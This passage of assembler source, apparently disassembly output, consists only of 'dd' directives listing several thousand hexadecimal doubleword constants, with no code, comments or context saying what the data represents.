		dd 3CA524Dh, 0B5F40A5Fh, 0E5D8F6C9h, 2C00CC82h,	13B91E48h
		dd 14060CADh, 0B4575AD4h, 0B8463E77h, 93320170h, 56CC42EAh
		dd 9563C8DDh, 0F501A500h, 0FBECCE18h, 0FE10EC3h, 0D3802F87h
		dd 0AFBDB991h, 0AD94040Eh, 0BFA40518h, 4BB3B300h, 25C8E7Fh
		dd 0CC2DFFA5h, 4463BEF2h, 0DC9D8BC0h, 0A8CED578h, 9B37C7E3h
		dd 206F84A0h, 67BB00B4h, 80E4BDC6h, 42184B74h, 0AE604EF1h
		dd 0C03131B0h, 0C4724F38h, 0DC4C603Fh, 5C52064Ch, 2C0CD3ABh
		dd 80189CF6h, 0B4651B87h, 620644DAh, 0FC7A2ADFh, 0CB7F0F40h
		dd 0D5022BD6h, 0E62766Ah, 8261EC42h, 65296045h,	0BCB40C1Eh
		dd 0B038DD1Bh, 0F66FDF8Eh, 5E440F1Dh, 405399EFh, 0D724C784h
		dd 0FC98C05Dh, 11D5B0Eh, 0B37922B8h, 1AA84047h,	13AE0993h
		dd 702F294Fh, 0BCBC49CAh, 0FCACD880h, 7521D2FAh, 0D39A7B00h
		dd 0E50E077Dh, 0FBF601DAh, 833B9940h, 0BA40E277h, 85004E06h
		dd 33800C90h, 865B4Fh, 0B891ABF8h, 0DF1C8D8Ah, 34BFE8C0h
		dd 727D19Ah, 0C1292D49h, 5363C055h, 422C096Dh, 0AA0980FFh
		dd 564480BFh, 0B28F2Dh,	0EBEA68A5h, 9DDC5FE0h, 23340200h
		dd 1227B5B0h, 0D0C11292h, 0BE1C2048h, 770E1BB2h, 0E0E62E9Bh
		dd 0DD30AA8Ah, 0E4F7162Fh, 9D6200B5h, 2E2680C7h, 0E9796C60h
		dd 1C23EF14h, 2E1A2AEBh, 0E3930155h, 0C3DA0B89h, 873A02E8h
		dd 50169A00h, 5536BDADh, 5DFC00AFh, 79AA4A48h, 9800B777h
		dd 847831Bh, 71906C5h, 4FA18DD5h, 7B6D4381h, 0B2312080h
		dd 0AB0028F6h, 1A56C0F3h, 9ABFCA5Dh, 0C93E0ED8h, 0C4E02D0Ah
		dd 18B84871h, 68BBDC30h, 509AB091h, 1CC1F194h, 9F62FCE0h
		dd 0A032C030h, 0E7E867B4h, 7C534B00h, 6F5B509Fh, 0BEE200DAh
		dd 93E62D33h, 0C30C372Bh, 71518206h, 0B30801D1h, 0DBFD4985h
		dd 0A703ECEEh, 0CFA93B0Fh, 9EB90FAFh, 119D960Dh, 0C9D82080h
		dd 2574F871h, 1B7538h, 22704E91h, 0EECBFh, 0F096D285h
		dd 713F3A3Eh, 5A1CDC05h, 0C880BAE5h, 3A621320h,	0D059A3D7h
		dd 0EF1AAF03h, 1100B30Bh, 0DFB16F3Eh, 0E6396A4Ah, 36B83913h
		dd 5C7D0614h, 8A59D70Ch, 570C0831h, 380C324Eh, 0A83E0AA9h
		dd 0A1056D5h, 41C8806h,	0C1136A3Dh, 0E0B3CDDCh,	8F3CB2D5h
		dd 847E0327h, 0C032670Ch, 452A35h, 9D2391B7h, 0D4F246CAh
		dd 7D5563Ch, 7613EF7Eh
		dd 43F511F0h, 0A8B91F5Ch, 3D803B80h, 0DF45974Ah, 0BB3FD176h
		dd 0CA1200B5h, 0BE6275D9h, 0A97E92h, 0F54E45A0h, 0F724FF63h
		dd 22F0E20Eh, 990BA0E0h, 0D253CAh, 0F4CFE7A9h, 0E85C71A6h
		dd 66FD8700h, 1A94B785h, 360C3A11h, 0F85BAF00h,	0ED4B270Dh
		dd 0E45D671Dh, 153A3824h, 3D808CBEh, 0C1BB8080h, 0D4F10B95h
		dd 0A71A0625h, 2046C5B7h, 4ED8C200h, 0DEB65DFEh, 0B90F0E6Bh
		dd 9040E1DFh, 498B8248h, 649A96F0h, 3B7FA100h, 8FE81BE9h
		dd 0DCEC03E0h, 0AC1590C6h, 0CDE22005h, 0B8435586h, 0B52325h
		dd 0D53E0C89h, 1BE410D3h, 1EE53B03h, 0B42225h, 647DC021h
		dd 40F99F16h, 3E13AD07h, 0B393FFD7h, 5A5EE249h,	92F20090h
		dd 7877AD5Bh, 9D00A0C7h, 4CD2426Dh, 6F59Bh, 0C2B24D4Bh
		dd 3791246Ch, 5D272B00h, 0E6BAD864h, 0FE0100B3h, 6E5634F1h
		dd 84A8C2C0h, 0F900DF4Bh, 0A33D3981h, 3E078Ch, 0C8323614h
		dd 3F9AE3D4h, 0A5CD50Fh, 30CC01E0h, 0E99DB963h,	0AC0480AEh
		dd 0DF28264Fh, 0F3568E05h, 0BFC4EF35h, 0D1D96580h, 0AAAEC33h
		dd 4C4D2BB3h, 62C17D04h, 108649E6h, 1814B196h, 9A95500h
		dd 81742741h, 21D62F18h, 0B51C4FFCh, 4D002066h,	7654A530h
		dd 2529C407h, 0E31E0034h, 3B49FAh, 0D94207Ah, 0D8DFB583h
		dd 40993Dh, 50D171ABh, 0F06C8h,	0BFE3B626h, 92FC93D2h
		dd 0F95A8900h, 0A9877ACBh, 76ED001Bh, 0F869EE31h, 441CC235h
		dd 0E680E9B1h, 32526D6Fh, 0B9B7005Bh, 1CC3D615h, 0C000DB5Ch
		dd 45BBB1FCh, 764FDC2h,	20F6A4AFh, 0F96EC328h, 9D0E8988h
		dd 46DB691Ch, 10DF00FAh, 0B4862AB3h, 0CAF707B8h, 0F79D76C4h
		dd 92894067h, 8E018CA8h, 632AF9AFh, 66F03A1Ah, 71B004BDh
		dd 87C30FB5h, 2BBA90B3h, 0F6009883h, 0F3C9EB89h, 0B7D7BEh
		dd 6FF59915h, 1A808AEEh, 3300E17Eh, 0A8636832h,	0A77F2Ah
		dd 0CEE68B0Fh, 3F996AB3h, 9AD68600h, 0B6AD5861h, 61F4CC7h
		dd 2DCD3407h, 4406B035h, 8B1DA155h, 1A016201h, 0E671C7D2h
		dd 3AA886CCh, 0D700C5F6h, 0CA190502h, 4101B114h, 3904DF95h
		dd 73E0EF3Eh, 87E7001Bh, 5232353Ah, 0D1F0024Ch,	0CF34A201h
		dd 0D09AD76Ch, 7E1D91ECh, 0AF77E8h, 8F8766ABh, 0CCD76939h
		dd 3FD69F00h, 33DE3032h, 89443AFBh, 2D39BB03h, 52986D3Bh
		dd 0F8001D74h, 71376649h, 0FE724Eh, 7AC4851Fh, 95500788h
		dd 1CDF6516h, 7E66B900h, 7F1BB4EDh, 7B1312FCh, 934C004Fh
		dd 84D2283Eh, 8E12543Bh, 402591DBh, 809EC80Eh, 790F0088h
		dd 0D13A686Dh, 5A00600Ch, 0B3B7E161h, 1F07731Ch, 80C01092h
		dd 2C3D375Ch, 4000625Eh, 20E20676h, 0ACCC2Dh, 399860D0h
		dd 4E692437h, 70712279h, 0B0C3F77Bh, 104A85BFh,	71405790h
		dd 0D6415C00h, 2912E15Fh, 90140576h, 9AD1E5h, 0D05031DCh
		dd 0EC008C94h, 106CFFDh, 1CA70DF5h, 40FF0845h, 0D02786B3h
		dd 0AE76F1A6h, 80B5A93Fh, 6D3C4265h, 7FD5462h, 0B8E5648h
		dd 0F8ACC012h, 0A407E02Ah, 42D42194h, 481562A2h, 3EF2ECh
		dd 5799D053h, 756CAF24h, 540B8A0h, 0AE305CE0h, 0E764107Bh
		dd 0E0280077h, 79C6AD1Ch, 0BD1FDE92h, 0E5409642h, 19D73DACh
		dd 0F3B000BBh, 0F05DEA84h, 0F52CA7D3h, 30BBD90h, 0D70B0111h
		dd 20278Bh, 0BC401561h,	8C80E851h, 76D7489Eh, 45C7CD0Ah
		dd 0BA90A0A8h, 0D8655AC2h, 959E880h, 0C000B11Fh, 0BDF10679h
		dd 1F0E7D5h, 7128BF60h,	977ADCFBh, 0BBDFC0h, 0B9882A8Bh
		dd 80A04CF8h, 0E707B8C9h, 0C7D1E315h, 8CA50D50h, 81648A4h
		dd 0E3EBB8C0h, 5500BEAEh, 0B9673504h, 0EEA8C276h, 0EEB8E1h
		dd 713316CAh, 9F5D4B89h, 8CC10F05h, 2AC2779Ch, 0C5EC8021h
		dd 3B1BE387h, 5829643h,	0FE0F47EFh, 84014440h, 0B7FEC00h
		dd 4B8525A5h, 991900FFh, 0A170F1A2h, 0DF031D97h, 22E2D855h
		dd 9238E835h, 456F00F2h, 8B17CAF3h, 432AA587h, 62008C0Eh
		dd 5EBA81A8h, 265EA89h,	266B663Eh, 888FA974h, 7379E060h
		dd 4704F1ABh, 2A8B5E8Eh, 757DD890h, 81421EA6h, 480BC98Ch
		dd 4EB44602h, 51DE1460h, 6E0DCE00h, 73F5A24Bh, 95AE30BDh
		dd 0DC5BA8C8h, 59BE1E01h, 4B38E51Dh, 1A018022h,	0C27ADE3Fh
		dd 2F90443Dh, 8D0177E8h, 244DD276h, 44644AA1h, 641A0FAFh
		dd 9BC53DCBh, 9AB0033Ah, 78B0578Dh, 8650982Ch, 6EEBFECh
		dd 13007448h, 2828697Dh, 42763E04h, 87087AA6h, 55272044h
		dd 34FC0062h, 7D8A4F7Ch, 0A0C07348h, 0C04D3125h, 414A21D8h
		dd 0BF018B15h, 2042890Bh, 0D18028D0h, 80DCC10h,	1B006175h
		dd 30E716DDh, 0F2ABE55h, 0D6BA6B7Ah, 0C5040E80h, 0B0F00Ch
		dd 8FAEF624h, 0BA80B200h, 1310163h, 38974847h, 59C0ACF7h
		dd 0B6E880D4h, 0B177395Dh, 1E749ADAh, 4115C0F1h, 764EFC0Fh
		dd 0FBACC8A2h, 81C87928h, 5F1F1700h, 637C893Ch,	86ED0081h
		dd 67B16FA0h, 0B4A9E6B5h, 26D422C4h, 47C2900Fh,	0D9FC48DBh
		dd 0CCC713ACh, 1BB1CF9h, 4EFBA16Dh, 0E9D8424Ch,	0BA300522h
		dd 0D1AC8024h, 3EC1E90h, 4A72D074h, 95E8C3B5h, 327A42FFh
		dd 81529700h, 92762C69h, 9A47781Ch, 6C282850h, 464909DFh
		dd 63853EA3h, 0B63C80E9h, 9900CFCCh, 0D363DE55h, 0E35E10h
		dd 0B8499380h, 0CB258E9Bh, 0BB6C6400h, 265191FDh, 0FBE203F8h
		dd 0FA0B70B3h, 733EA9D8h, 17C82250h, 41001B73h,	48DB440Dh
		dd 27F09Ah, 2C062B07h, 0B5BFA1E7h, 4256F80Bh, 22E404C1h
		dd 0DB920025h, 0D11AC84Ah, 4E8F1D00h, 0BE765DD9h, 37E044h
		dd 6511D0BBh, 3BB8FC9Fh, 30E9A700h, 0F4AD1D70h,	28ED00ECh
		dd 0F924A510h, 40B9EF8h, 807822A7h, 348D159Eh, 842E4864h
		dd 0E4E18207h, 4979A09Dh, 0DB0BF81Ch, 0A08AD8E8h, 2CCC98E0h
		dd 0E0F91F8Fh, 343C472Ah, 1FB7B213h, 0F00FADC1h, 92041440h
		dd 24D96068h, 0B3BC3483h, 122100C4h, 87B43452h,	0CF09CE6Ah
		dd 207CDDD1h, 0E3B1FFB0h, 0CE10795h, 80F40A41h,	4B4694F3h
		dd 26FDA806h, 1E8A78Eh,	0FF58397Bh, 70862941h, 1C983462h
		dd 12367100h, 0B57282C7h, 3ACF4D4h, 0FB8BBEC2h,	0A8C07D99h
		dd 750765CFh, 668EC678h, 723BCD20h, 28150098h, 34B8BE06h
		dd 0A94CDC84h, 64960089h, 7FAFA823h, 80790Fh, 0CC0943E1h
		dd 6CFED902h, 4454A475h, 0B1006490h, 995746E9h,	0B05E9E6Eh
		dd 3F071D64h, 25F0C0B0h, 0D83A03A2h, 6FE7F900h,	5578678Ah
		dd 4A6C17FFh, 3D8D0034h, 1FA50F89h, 675D4200h, 4852EF21h
		dd 8DF865h, 0E692640Ah,	724CCDADh, 4B8B3707h, 0C230C576h
		dd 22EDC8h, 185865C1h, 0FEDB611Dh, 3FB49F00h, 94B74DCAh
		dd 0EE0A3254h, 0FC6037B1h, 0FC000893h, 0B901C2BBh, 7CA16B39h
		dd 3D8A0F5h, 21C0453h, 0C02E8AB0h, 59AF2B15h, 8F5A123Dh
		dd 0C0CB17CDh, 83853EEFh, 0FAECB0EDh, 608A60FEh, 81990E7Ah
		dd 0A646B916h, 401BF821h, 8822F036h, 55006C7Ch,	3252E7D6h
		dd 0EB6EE8h, 91A1BDD4h,	2C46EAB0h, 26219909h, 35B0A04Dh
		dd 0B2C309F3h, 20E907D0h, 4059A111h, 8D4B4584h,	883A5D1Dh
		dd 0FC13359Ch, 4F76BC44h, 703EAF06h, 145CD525h,	0EAB77014h
		dd 88FC4D6Eh, 0C100AE6Bh, 63CE44FEh, 6C93762Eh,	0D837F480h
		dd 9A8D6AC1h, 0A278024Ch, 0C7DD124Fh, 3120CCC0h, 21B34600h
		dd 5C8523C1h, 0BE6C00EDh, 47A589AEh, 0EA04F028h, 0E99FBD87h
		dd 0D8BFE80h, 254424D9h, 0F5FB809Ch, 729EE41Ch,	5A67A500h
		dd 0B527A970h, 0BDF206CBh
		dd 9165F7ECh, 0A822D80Bh, 7D4CA5D3h, 0A832B869h, 15346000h
		dd 415A39B8h, 0AC44314Ah, 0CA0A8C3h, 0BDB112CCh, 45D45C1Ch
		dd 980F63D3h, 0FC000468h, 7636B856h, 3F1AC3Bh, 51C0E883h
		dd 7141A907h, 0D832B8h,	48DF214Eh, 2C3635D0h, 0BDA098DDh
		dd 63E50078h, 48D2EE6Eh, 792A8EB1h, 0A504F8DDh,	0A09364C9h
		dd 27ECDCh, 1903E3ADh, 373B9DD4h, 0CE7ED100h, 0FFF5D2B8h
		dd 0AE5F1409h, 4400E43Fh, 1724E9BDh, 0F8001163h, 0EDE0046Ch
		dd 9FABEBh, 77DFFB82h, 50931286h, 0E20C8090h, 0A096BCB9h
		dd 8DB500AAh, 6F3B6437h, 0A200230Eh, 81F703EBh,	179BEF61h
		dd 1D9448h, 0B0BCCB28h,	25F0DF55h, 20066874h, 0A515903Ch
		dd 10D92AD1h, 0A41A16F0h, 8C2C0FD4h, 20B4772Ah,	0E02B00D7h
		dd 7C0BA6B7h, 2044F88h,	0EF98C020h, 3C594BC0h, 7C7DE4E5h
		dd 53EE3DFCh, 0EBFA9A09h, 1842ED00h, 2200CF5Dh,	8C013AE7h
		dd 1E99316Dh, 0A1ECBh, 0FD3E9098h, 605E4B19h, 0F72A4AC0h
		dd 888A2449h, 0E26200E0h, 0DC50B5B4h, 814BA100h, 732999BEh
		dd 0A22E0037h, 0F2577F22h, 0B1001156h, 5362A6F1h, 9EFFC1Ah
		dd 0F6CF2F0Ah, 0A3D49C20h, 6D078A43h, 78D74502h, 0C03FB3C2h
		dd 78082120h, 25EB045Dh, 933A1F74h, 4CA830E8h, 0CC92E577h
		dd 289D5800h, 792E15Eh,	897B167Eh, 81EA8h, 3FDC124Ah, 60C04422h
		dd 6095F4FCh, 3BD5007Eh, 4E0E9885h, 4D017F1Bh, 0AE8F876Ch
		dd 89F84152h, 0E1CF175Ch, 9D40011h, 0D408A3CAh,	3BC6C763h
		dd 16C4A00Ah, 0B38400C5h, 121CD3F1h, 0A3002D61h, 933237A2h
		dd 7D0C9Dh, 9611FFE0h, 90D63BBCh, 2E49201Fh, 0BEB410C0h
		dd 101883Dh, 5DADCD91h,	0C8767DF3h, 3C00F9E1h, 0A5FABDC7h
		dd 176830h, 74FB097Ah, 5F5E9433h, 2B796E0Fh, 8814E5h, 8E328A8Bh
		dd 90141D47h, 2D6F078h,	60FA7CD2h, 0F9E161F0h, 0DCA3D524h
		dd 190EEB48h, 4025DA39h, 0C12343FDh, 97821DD2h,	86E2805Ah
		dd 0F926F3F1h, 14DEEB00h, 0C40D4F7Fh, 0E86A00CFh, 981089DDh
		dd 0E3000996h, 0E3920ADh, 53FFB8h, 0FD08EA83h, 0BF3C317Bh
		dd 9F925C02h, 4073F313h, 17DD2FDh, 26F02BF1h, 705081DCh
		dd 0D83071E7h, 0AA4511F8h, 0AE60161h, 41ECBF2Ah, 6F0FD4F5h
		dd 0A408591Fh, 6E812D40h, 7BBD2CD4h, 74C400F7h,	0C07E1F12h
		dd 7D0B663Ch, 27F252A1h, 8040EA38h, 1642276h, 8FFECCC4h
		dd 60F68E73h, 0B7E2AADFh, 90BA3D00h, 0D1E2F9B9h, 120900FAh
		dd 96CDA724h, 0A400DD72h, 4D0C7FDCh, 48162528h,	100028FDh
		dd 2A437A8Bh, 0C30082D8h, 0A50BFA79h, 88AA13h, 2C173833h
		dd 90F59C81h, 6A008F75h, 0AD7E8AA9h, 0F76E508h,	32887DA4h
		dd 0B2BA7AE0h, 0E400F6EBh, 7EC1E92Fh, 3AC9E312h, 43816B40h
		dd 9C040C75h, 4DBB6025h, 0A97A4C00h, 1546C67Dh,	19D60034h
		dd 14F51642h, 0F400EA32h, 0CEBDE060h, 0FB9974h,	0A8583AA9h
		dd 267AE68Ch, 0EAD60603h, 0B834B15Fh, 0FAFC81h,	0F8F3527Bh
		dd 0ECB4039h, 9C809200h, 255E4F9Ah, 74E349FDh, 0A480AA28h
		dd 33573A74h, 22DB6280h, 52CC649h, 1720F102h, 0C02B21FEh
		dd 0A581B4h, 6658B65Ah,	7C7D8B08h, 0D1D9D401h, 0C584F869h
		dd 0E021F0h, 0B6FB412Bh, 4876BAA6h, 730155E4h, 2DA2F915h
		dd 98C3FE51h, 0C7C6C26h, 0FC0F87C4h, 47006F2Ch,	3D9C2D96h
		dd 39A950CAh, 0BB007C54h, 1978A3AAh, 4388028h, 5B459C20h
		dd 5CA96E80h, 3C6B85h, 95277F07h, 735D8BAFh, 58BF1A27h
		dd 765C1329h, 0C08F1449h, 47D926h, 0CD466C7Ch, 0DC015D9Dh
		dd 8BC043F7h, 6AD8BE79h, 0A976D7h, 0D286D5C3h, 730F088Dh
		dd 74008CFEh, 23E1380Ch, 2CB03Dh, 308BACCEh, 856D3F4h
		dd 0D8A3CD50h, 6FA81309h, 42F00083h, 59B52CCh, 0F7C84B37h
		dd 0B454D021h, 7101098Bh, 0B1FAF5CAh, 0F3E8F08Fh, 811D0087h
		dd 978C80D0h, 0CD007D11h, 0F4A13D54h, 5C608F20h, 4D0002ECh
		dd 7C366FE9h, 59094462h, 4CD255h, 0CF879598h, 2994067Ah
		dd 708661ABh, 0B9EC07F8h, 0F36A503h, 0A0513867h, 0DED71813h
		dd 891F20h, 0A90A1604h,	2400202Eh, 0A84E706Bh, 1E79EAFAh
		dd 7A573ACCh, 0C63F230Ch, 6750B230h, 2D1CF430h,	42404CFDh
		dd 73D18121h, 529C033h,	0DE0AE738h, 0BE802054h,	0AC86C401h
		dd 9FD7A857h, 0B5D8A0EFh, 0C89218C0h, 0AEB348B8h, 93306050h
		dd 78CF1700h, 0C2A3E974h, 4CCD0020h, 32A009BDh,	7F09C83Eh
		dd 0A0A2DBDAh, 3CB3F61Ch, 4180EBD5h, 7DD7DCECh,	0CF0CB794h
		dd 86FCC20h, 0D321C23Bh, 0D441D884h, 4C1080FFh,	0A9149E88h
		dd 13D7572h, 0EB1A5B9Ah, 83202F51h, 0C634B320h,	1B411E13h
		dd 9A193133h, 4135F8CEh, 3E182700h, 0A247B9ABh,	39D83032h
		dd 2FCB2831h, 1426F904h, 16C0A5BAh, 7F2EA4AAh, 0C8871CEFh
		dd 13565770h, 4E0A0D45h, 0AB206039h, 4B52BF00h,	76D3A2D5h
		dd 0F48B01B6h, 0CD6D03DDh, 5B26F459h, 0A220C40Ch, 0AD394Ah
		dd 36CD7AAh, 44C53BD2h,	0C92418F0h, 2E06DBCAh, 0F98777h
		dd 45616C13h, 86817142h, 80F80A17h, 48219F18h, 0C97E0068h
		dd 540DCCC0h, 0DB338AAEh, 0D046691Bh, 18730ABh,	0A99B3828h
		dd 0C0E925DEh, 0F305E8CEh, 5AAF8C86h, 0E85334B0h, 8C934884h
		dd 0C801AD80h, 0A1063B71h, 49302F0Fh, 21236708h, 0B2C800E2h
		dd 0C70E8CC9h, 0A6A057E6h, 1951BA98h, 0A9C0CC4Ah, 0C809A062h
		dd 75CA1C00h, 30CE288Eh, 0D48804A1h, 0C0743AF3h, 0CBF5E029h
		dd 0C9A35F00h, 62A08178h, 0DA8A1475h, 4F80A0ACh, 0D02568F3h
		dd 0C617E300h, 1EE240DFh, 5AC12498h, 387B144Bh,	94BB800Ch
		dd 256FC008h, 6CC8741h,	0A9C6FDF4h, 0EBCB0029h,	0FB5D1C4h
		dd 0AD1DAFABh, 112A9E7h, 0E36E8040h, 308B59C4h,	0FD497EDBh
		dd 95FEDA82h, 16B6F409h, 9A8002CDh, 0D87C4013h,	8829C01Ah
		dd 4F736335h, 0DC44D4BEh, 6607C090h, 335F26CDh,	0E8B00720h
		dd 7AA22046h, 6073AD6h,	360AD756h, 9F045490h, 0B2D500B7h
		dd 9D6B4972h, 48003983h, 42A6DD50h, 2EEFE4E5h, 0B0F52Dh
		dd 70873D03h, 0F70267A5h, 27ABED82h, 0F993604Bh, 9F8D0544h
		dd 0C7BFF5AFh, 4CEC4254h, 0C8AC9961h, 0E1004A2Ch, 4BB89C1Bh
		dd 0E0693B4Fh, 5E77F2h,	0ECABACA1h, 164924C0h, 0A6015F76h
		dd 1DEA150Ch, 0EECE5C2h, 0FF400925h, 1C50A429h,	39B77905h
		dd 0DCC08632h, 0C7E7A1h, 0AE84CE80h, 0B99822BEh, 7D10751Ch
		dd 36A28C00h, 0F0B3ED4Ch, 0D8F631h, 209A1B2Dh, 0C7F040ABh
		dd 0C0741F03h, 0D098096Ah, 523F58h, 0B7D7E7EBh,	77DE88F0h
		dd 900A80B8h, 0BCB036DCh, 0FC160680h, 0B6B5487h, 20724178h
		dd 1310460h, 6DAAB517h,	2898200h, 7C7870h, 0A70F8893h
		dd 76815736h, 7100A496h, 7F788358h, 29CB04C5h, 0A904A43Dh
		dd 0B16600C4h, 56FA349Ch, 55F40040h, 3EF07890h,	5700D11Ch
		dd 0E845BBF6h, 0C8AE19h, 1748E6BCh, 83DE4E3h, 0CD138500h
		dd 84DADD2Ah, 8C880060h, 0B76180F0h, 0D500168Eh, 3F5BE477h
		dd 28F7423Bh, 0CD209Dh,	739B069Eh, 455A27BAh, 0DB8E3700h
		dd 724434F4h, 8ABC00E4h, 0D6B94A60h, 0A4009093h, 3341B7C0h
		dd 2597C1F9h, 9C87D0A8h, 53CB90B5h, 8000AFEAh, 0A96BD1CCh
		dd 0E4C51Bh, 759B9929h,	0B172CA12h, 82CD483Ah, 78960255h
		dd 0FB57E333h, 5CBA0083h, 9A1F3D1Dh, 0A3007218h, 395154ADh
		dd 54B263EBh, 7F22986Dh, 9601073Eh, 0A0CD59B9h,	31F8980Bh
		dd 48FFC200h, 0D919931Ch, 150700E9h, 22C0E8CDh,	0B90963B8h
		dd 0C02441C2h, 61A69Ch,	3AE93566h, 8CD2FC65h, 0A5E54F04h
		dd 0C831CACh, 0B46F8A1h, 454900C5h, 93A66068h, 0AD00CF2Ch
		dd 0A7CD7632h, 5DF3C9h,	0B6ED9D18h, 86E68AD4h, 487C4D0Ah
		dd 908F4BBh, 0D0238037h, 44A26A65h, 8082813Ch, 6D779A2Fh
		dd 4E631471h, 0DCA40FFFh, 342E5C69h, 8C94C8E1h,	63E5C0BFh
		dd 84B3AA2Ah, 4166BA00h, 6790611Fh, 0C7A82C23h,	712C00CCh
		dd 0DBF597B0h, 0F1079B00h, 2F58FEF8h, 5D250253h, 168517Dh
		dd 71781078h, 8764A800h, 33C6D024h, 0EF67004Ch,	0D3424DEAh
		dd 0EB3E7E2Bh, 0B7BCFCh, 73BA56C0h, 50BC9h, 0CBAE66D0h
		dd 8C60AF7Bh, 47948F00h, 0CAAA4B9Fh, 0FB2F01D7h, 4D964295h
		dd 347DEC0Bh, 0CE6A104h, 20ACAC52h, 33851Dh, 0D838ED23h
		dd 3B00F0BEh, 305A26A9h, 1D2FF8AFh, 151847h, 0DB9FFDE7h
		dd 8803B1B8h, 96391B2h,	4C28B806h, 7C4700CDh, 3427148Bh
		dd 8E00E6D0h, 96D4DE3Eh, 0C37972h, 0AC326F06h, 0B02E9ED5h
		dd 5AAD13Eh, 0C458EB65h, 0B9424583h, 3C746D4Fh,	58B09545h
		dd 953CDB5Ah, 2733076Ch, 0CAD0E265h, 1B0BBB8h, 5486CEC7h
		dd 0ECE6EFFDh, 9D006731h, 4EE4E171h, 0E8425BE3h, 570700EAh
		dd 29FDCF50h, 23017338h, 0BA81D41Ah, 6DE0A525h,	0ED240051h
		dd 0DCDEA1CBh, 9300D974h, 0A3733F1h, 8A5ED8h, 0CE0C66E7h
		dd 6C296A7Fh, 58DF8E26h, 51BBBC40h, 717303E5h, 3857D480h
		dd 2EACEDA0h, 2833C201h, 0DD9BABF4h, 0A8F121F4h, 24E3DEh
		dd 0CCEDB33Ah, 5174699Eh, 0D6BD48h, 38074715h, 893597h
		dd 1E4DC88Fh, 0EFBECED4h, 0D7B34601h, 265BF937h, 4FAE30h
		dd 8124548Fh, 34738084h, 4AFDC813h, 4430C000h, 44D6A63h
		dd 6F762590h, 1D18C0EEh, 36008446h, 29DE2A2Bh, 0A2162Ch
		dd 446201DCh, 0E7E2EC1h, 0E42925Ch, 820A13ABh, 0A2C935ACh
		dd 7241E0D4h, 0D7CE0004h, 5212A51Ah, 6D011162h,	9EB90173h
		dd 61CC34EFh, 236C008Dh, 0D7527AD1h, 4B004947h,	567B8420h
		dd 0AC575Bh, 9FA63FF3h,	3987A77Dh, 0B9F88A00h, 0C04134E0h
		dd 7FB100FDh, 0AEC552E4h, 0F4F32696h, 4A00573Bh, 0BDDBBA07h
		dd 0E52A37h, 9D82BFADh,	19DF6108h, 1CB48E00h, 834912E3h
		dd 9199000Eh, 0EDE16C4Eh, 592E77EEh, 0B6001F6Ah, 51356120h
		dd 0C43CE599h, 749E1600h, 8C62831h, 0BCCF2E00h,	0EF49DDE9h
		dd 8BE20051h, 0C12A9F1Eh, 313BF623h, 96430FD9h,	1558C0E3h
		dd 482137h, 28A283D1h, 8523D4Fh, 0B79BA50Eh, 0CB05BCE0h
		dd 3C7CA44h, 6168E09Bh,	0FA8B4830h, 0F3A428h, 0EB88A657h
		dd 250D244Ah, 0E407D40Fh, 59B1E056h, 0B8C075FEh, 20BE5C18h
		dd 0DFB47B00h, 3FFCCDEBh, 4A7C311Dh, 0AF1E0E0Bh, 20BB0EA0h
		dd 6B4F6486h, 4500020h,	78B51D30h, 37EAABD1h, 0B8149100h
		dd 66389FF4h, 1A60196h,	35FC5845h, 0D90BF88Dh, 0C9C0BF02h
		dd 0F8F92420h, 0FEBB0EFCh, 0F70282A4h, 6C58C29Bh, 0CD810900h
		dd 0D93BB827h, 0DD13120Fh, 46A0C8D6h, 0D5AA1C00h, 1B2511C3h
		dd 0AE300292h, 0F1C981FAh, 719985Bh, 0B4F1A949h, 3AFABD8h
		dd 739A176Ah, 6004DA33h, 86C93003h, 2940CC90h, 42FA0681h
		dd 498B2795h, 32AF8918h, 0B83420h, 4562FE80h, 413CDFC3h
		dd 40600500h, 0C6862742h, 5BEC0090h, 9E23264Eh,	1700B3CCh
		dd 43FE4D4Bh, 0D5E7B5h,	9C38F208h, 0E078600Dh, 4B84B300h
		dd 0AA2A9EA5h, 0BA9809E5h, 9F035882h, 5A00F509h, 0AD7051F2h
		dd 0EBE50Fh, 0E3048421h, 5C7B3DF4h, 643FCA1Eh, 795FAAC0h
		dd 1454C6Eh, 0F94F5553h, 0D40883E3h, 787E8211h,	69E1C000h
		dd 13B59F14h, 42350328h, 9304CC48h, 0EA48C98h, 2CFDB400h
		dd 3B62A073h, 9A4C0714h, 40500D13h, 0FD650C9Bh,	115CED01h
		dd 0A50E8C7Dh, 35490E0h, 0CFCB3ED1h, 4CC9B5B4h,	0C7C428F7h
		dd 0A4EFC679h, 582CA87Fh, 2C62E00h, 526F985Ch, 1D4190C1h
		dd 126B442h, 0CA4A2B95h, 8AD450B5h, 0F160CEB2h,	0BEFF6218h
		dd 311F7D2Fh, 0D550F7F3h, 35C9FC9Fh, 6A497F14h,	0A0B3001Ch
		dd 587620DAh, 1918C0BFh, 9EFADFC6h, 50333230h, 41B26EDAh
		dd 8026DD2Dh, 2CED6539h, 4574F2h, 0A98A7641h, 1A33D01Eh
		dd 30E0C422h, 40B8D5D2h, 1600E9F5h, 45D397A6h, 0ADA8D7h
		dd 0B9553D93h, 0E382569Bh, 308A7203h, 0E8E02CF9h, 1E680675h
		dd 582BFCAEh, 0D81C1211h, 64F4B500h, 316EE163h,	0ED2D009Fh
		dd 0E5FFEB80h, 0DB0089EEh, 4692856Dh, 6B7BF3h, 9ACB5437h
		dd 142B3DA9h, 8D579B00h, 88CF7091h, 9E050394h, 0B35B0D0Bh
		dd 0BD3B8AE0h, 1C3A0166h, 41F5211h, 0CC2B64E0h,	68E610C3h
		dd 76008757h, 4B6308h, 9E5B7A4Ah, 9010A7DCh, 40A10503h
		dd 0A0C924EAh, 99153Eh,	0D389D5FCh, 3898A655h, 52EC4F00h
		dd 8D4EBE9Fh, 0E1E507C8h, 0B1C9D68Ah, 603377BDh, 407310Ch
		dd 4D3A5F28h, 190CA270h, 3170E22h, 0C0409C11h, 9DAA6F3Ch
		dd 3C38FA3Eh, 0C9A29F70h, 2D164E00h, 26D8C48Fh,	5542A3h
		dd 0FA7FB406h, 0EE006AEDh, 0A8C160A4h, 98D98B94h, 0DA9D00D9h
		dd 749C8CE1h, 5D000633h, 59E9D3E8h, 621499h, 93D27FBBh
		dd 1B2CE634h, 0A2E01707h, 71A00E88h, 285B4835h,	3988E1Fh
		dd 8BD5980h, 0DDF0CCF1h, 641D53FFh, 298051FDh, 0E3E2CBA1h
		dd 0C8F4E4h, 417AD816h,	1A79087Fh, 8B534815h, 59F800BCh
		dd 0BFC7749h, 7006EC7Bh, 850E28CEh, 5E6400ADh, 0EEE68858h
		dd 43007D61h, 9D93B6AEh, 3B76C348h, 7E80BEFDh, 0F4308040h
